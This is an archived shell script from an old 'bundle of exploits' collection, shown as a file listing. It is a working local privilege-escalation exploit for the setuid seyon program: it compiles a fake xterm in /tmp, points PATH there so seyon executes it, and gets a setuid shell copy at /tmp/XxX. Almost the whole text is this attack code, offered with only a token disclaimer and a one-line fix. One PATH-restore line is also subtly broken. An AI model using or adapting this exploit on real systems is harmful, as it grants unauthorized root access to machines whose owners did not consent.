home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / seyon_exploit.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  1998-07-17  |  704b  |  45 lines

  1. #!/bin/sh
  2. #
  3. # Exploit for seyon by BeastMaster V
  4. # Scripted on June 19, 1997 
  5. # PROBLEM: seyon does not include full path when execing xterm
  6. # DISCLAIMER: Please use in a responsible manner
  7. # SOLUTION: chmod ug-s seyon
  8.  
  9. # Just put the full path to Seyon here
  10. FULL_PATH_TO_SEYON=/usr/X11/bin/seyon
  11.  
  12.  
  13. ORIGINAL_PATH=$PATH
  14.  
  15. cat > /tmp/xterm.c << E_O_F
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18.  
  19. main () {
  20.     system("/bin/cp /bin/sh /tmp/XxX");
  21.     system("/bin/chmod ug+s /tmp/XxX");
  22. }
  23. E_O_F
  24.  
  25. cc -o /tmp/xterm /tmp/xterm.c
  26.  
  27. PATH=/tmp
  28. export PATH
  29.  
  30. $FULL_PATH_TO_SEYON
  31.  
  32. PATH=$ORIGINAL_PATH=$PATH
  33. export PATH
  34.  
  35. /bin/rm /tmp/xterm.c /tmp/xterm
  36.  
  37. echo ""
  38. echo ""
  39. echo " <-- Now type: id -->"
  40. echo ""
  41.  
  42. /tmp/XxX
  43.  
  44. rm /tmp/XxX
  45.